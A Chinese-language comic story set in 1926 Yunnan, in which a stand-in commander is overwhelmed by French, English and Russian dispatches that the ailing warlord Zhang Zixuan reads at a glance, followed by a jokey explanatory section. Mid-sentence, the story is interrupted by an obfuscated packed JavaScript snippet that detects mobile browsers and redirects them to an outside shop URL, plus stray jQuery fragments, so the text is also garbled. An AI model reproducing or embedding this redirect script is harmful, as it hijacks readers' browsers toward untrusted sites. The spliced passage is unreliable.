民国十五年，张子轩病倒后的第三天，整个督军府已经进入了一种“大帅不在，天快塌了”的状态。以前大家总觉得，张阎王天天坐在书房里喝那65度的忍冬茶，看起来也没做什么特别惊天动地的事，可直到他真的躺下了，所有人才后知后觉地发现——云南半个军务系统，居然全是靠他一个人在转。
于是，代理军务的重任，理所当然地落到了秦照头上。
秦团长接过那摞军报的时候，神情还特别郑重，甚至带着几分热血上头的庄严感：“大帅放心！我一定处理好！”张子轩靠在榻上，烧才刚退下去一点，脸色仍旧苍白，闻言只是抬眼看了他两秒。半晌之后，他居然还轻轻“嗯”了一声。秦照当场感觉自己被认可了，整个人瞬间精神抖擞，仿佛下一秒就能替大帅扛起半个云南。
结果，一小时后，参谋处里，秦照人已经傻了。
因为第一份军报打开后，他看见的第一行字就是：
“Bonjour, Monsieur Zhang——”
秦照：“……”
空气一时间安静得可怕。
他缓缓把纸翻过来，又翻回去，沉默了整整三秒，才特别艰难地开口：“这……法文的？！”
旁边参谋小声解释：“是法国领事馆送来的边境照会。”
“那为什么没人翻译？！”
“以前大帅直接看。”
空气瞬间死寂。
秦照的眼神，开始一点一点空洞下去。
于是他只能硬着头皮继续翻第二份。很好，英文。第三份，法文夹英文。第四份是一整张地图。第五份则是纯数字电报码。第六份更离谱，甚至还有手写俄文。
秦照：“……”
直到这一刻，他终于彻底明白了，为什么张子轩每天都要按眉心。
最恐怖的是，这些东西根本不是“能看懂”就行，而是必须在最短时间内立刻判断：哪个是真的，哪个是在试探，哪个属于外交话术，哪个又可能意味着开战。
秦照盯着那份法文电报看了半天，最后终于特别绝望地低声冒出一句：“……大帅平时到底怎么活的。”
偏偏就在这时，窗户“嘎吱——”一声，一颗熟悉的脑袋探了进来。
“威连张～～～”
秦照瞬间抬头：“大帅病着！！！”
“哦。”
陈玉楼翻窗进来，拍了拍袖子，语气还挺自然：“那他人呢？”
“睡了。”
“真的假的？”
“真的！！”
陈玉楼愣了一下。
因为张子轩这种人，居然会白天睡觉，这件事本身就已经足够离谱。
结果下一秒，他低头看见桌上的军报，随口问了一句：“这什么？”
“法军边境照会。”
“你看得懂？”
“……看不懂。”
“那你怎么看这么久？”
“因为我要假装我看得懂。”
空气再次陷入诡异的安静。
陈玉楼盯着秦照那副灵魂已经出窍的模样看了半天，忽然就乐了：“哟，终于轮到你了？”
“……”
“以前天天看威连张批这些，你没感觉？”
秦照缓缓抬头，那眼神已经沧桑得像老了十岁。
“陈总把头。”
“嗯？”
“大帅不是人。”
陈玉楼直接笑出了声：“你现在才知道？”
“不。”秦照伸手指着桌上那堆文件，声音都开始发飘了，“我以前以为大帅只是聪明，现在我发现——他是怪物。”
而最绝的是，就在这时，后面忽然传来一道低哑声音。
“秦照。”
空气瞬间安静。
两人同时回头。
张子轩不知道什么时候已经醒了，披着黑色外衫站在门边，脸色依旧苍白，但那双眼睛却已经恢复成平时那种冷静到近乎锋利的状态。
“大帅！！”
秦照差点当场哭出来。
“您快看看这个！！法文我看不懂！！”
张子轩扫了一眼，语气淡得像在说天气。
“第三段第二句。”
“他说谎。”
秦照：“？？？”
“地图比例也不对。”
“……”
“还有。”张子轩伸手拿起另一份电报，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932460|213645||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
垂眼扫了两秒，“英国人在拱火。”
空气死寂。
秦照张着嘴，彻底傻了。
最恐怖的是，张子轩说完之后，还低头轻轻咳了一声，明显病根本没好。结果下一秒，他又抬眼看向陈玉楼，特别平静地开口：
“你刚刚。”
“是不是又喊威连张了。”
空气再次开始危险起来。
陈玉楼：“……”
好。
病了也没聋。
——
语言学解剖：为什么全是外文
问题一：为什么云南督军府的文件，全是外文？
答：因为民国十五年的云南，接壤法属越南、英属缅甸，北边甚至还能碰到苏联势力。边境线，本身就是情报线，也是外语线。
法国领事馆写信，用法文；英国公使试探，用英文；俄国间谍传消息，用手写俄文。
而张子轩，十八到二十一岁留学圣西尔，本来就懂法语，英语、德语军事术语更是标配。至于俄文……他大概已经强到“看地图猜也能猜对”的程度。
《秦照：大帅你开挂。》
《张子轩：不，我留学。》
问题二：为什么没人翻译？
参谋只会回答一句：
“以前大帅直接看。”
原因其实非常简单。
第一，大帅看得比翻译快。等翻译完，黄花菜都凉了。
第二，大帅看得比翻译准。外交辞令里的坑，他扫一眼就能挑出来。
第三，大帅根本不信别人看。
“第三段第二句，他说谎。”
“地图比例也不对。”
“英国人在拱火。”
《秦照：？？？你扫一眼就知道？》
《张子轩：圣西尔炮兵科，必修：怎么从一句话里算出对方炮兵阵地。》
所以结论就是——
张子轩坐在书房里喝茶，从来不是摸鱼。
而是他一个人，直接等于外交部＋参谋部＋军情处＋翻译司。
秦照代理军务一小时。
基本相当于让文科生去开战斗机。
《秦照：我坠机了，精神上的》